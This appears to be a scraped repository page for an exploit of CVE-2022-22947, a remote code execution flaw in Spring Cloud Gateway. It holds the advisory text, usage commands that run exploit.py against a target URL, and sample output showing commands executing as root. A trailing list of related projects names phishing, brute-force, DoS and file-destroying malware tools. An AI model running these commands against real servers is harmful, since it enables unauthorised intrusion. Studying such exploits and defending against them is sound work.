Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

git clone https://github.com/carlosevieira/CVE-2022-22947
cd CVE-2022-22947
pip3 install -r requirements.txt
python3 exploit.py http://target 'id'

[email protected]:~/exploit/CVE-2022-22947/$ python3 exploit.py http://localhost:8080 'id'

    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #   - Carlos Vieira (Crowsec)                     #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    
[+] Stage deployed to /actuator/gateway/routes/rtxhovup
[+] Executing command...
[+] getting result...
[+] Stage removed!
uid=0(root) gid=0(root) groups=0(root)

References

https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

https://tanzu.vmware.com/security/cve-2022-22947

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

Related tags

Overview

Spring Cloud Gateway < 3.0.7 & < 3.1.1 Code Injection (RCE)

CVE: CVE-2022-22947

CVSS: 10.0 (Vmware - https://tanzu.vmware.com/security/cve-2022-22947)

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

Usage

References

Owner

Carlos Vieira

Simple script for looping a Denial Of Service (DoS) attack over one single mac address in range

Simple and easy framework for phishing 🎣

A simple multi-threaded distributed SSH brute-forcing tool written in Python.

FBGen is simple facebook user based wordlist generator using Username/ID and cookie.

Jolokia Exploitation Toolkit (JET) helps exploitation of exposed jolokia endpoints.

High level cheatsheet that was designed to make checks on the OSCP more manageable

HTTP Protocol Stack Remote Code Execution Vulnerability CVE-2022-21907

A brute Force tool for Facebook

CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain device credentials.

A python script to bypass 403-forbidden.

wsvuls - website vulnerability scanner detect issues [ outdated server software and insecure HTTP headers.]

Looks at Python code to search for things which look "dodgy" such as passwords or diffs

Add a Web Server based on Rogue Mysql Server to allow remote user get

This enforces signatures for CVE-2021-44228 across all policies on a BIG-IP ASM device

Polkit - Local Privilege Escalation (CVE-2021-3560)

script that pulls cve collections from NVD.NIST.GOV.

Crowbar - A windows post exploitation tool

This repository consists of the python scripts for execution and automation of vivid tasks.

Windows Virus who destroy some impotants files on C:\windows\system32\

Separate handling of protected media in Django, with X-Sendfile support